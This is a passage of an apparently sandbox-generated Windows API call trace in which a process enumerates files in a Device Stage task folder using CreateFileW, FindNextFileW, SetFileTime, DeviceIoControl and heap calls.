(lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.324] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.324] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.325] NtClose (Handle=0x17c) returned 0x0 [0091.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354790 [0091.326] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.339] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.339] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.339] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0091.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354898 [0091.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6938 [0091.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13551e0 [0091.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.342] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0091.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6958 [0091.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13552e8 [0091.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.344] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0091.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6978 [0091.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13553f0 [0091.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.346] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0091.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6998 [0091.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13554f8 [0091.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.348] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0091.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f69b8 [0091.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355600 [0091.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.350] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0091.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f69d8 [0091.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355708 [0091.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.352] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0091.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f69f8 [0091.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355810 [0091.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.354] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0091.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6a18 [0091.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355918 [0091.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.356] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0091.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6a38 [0091.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355a20 [0091.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.358] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0091.358] GetLastError () returned 0x12 [0091.358] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.358] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.358] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.358] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355b28 [0091.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.359] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.359] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0091.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.359] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0091.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.360] NtClose (Handle=0x17c) returned 0x0 [0091.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1355b28) returned 1 [0091.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355b28 [0091.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355c30 [0091.361] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0091.361] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.361] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0091.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355d38 [0091.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6a58 [0091.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355e40 [0091.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.364] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0091.364] GetLastError () returned 0x12 [0091.364] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0091.364] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.364] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.364] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0091.364] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0091.364] GetLastError () returned 0x12 [0091.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1355c30) returned 1 [0091.364] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1355d38) returned 1 [0091.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1355b28) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, 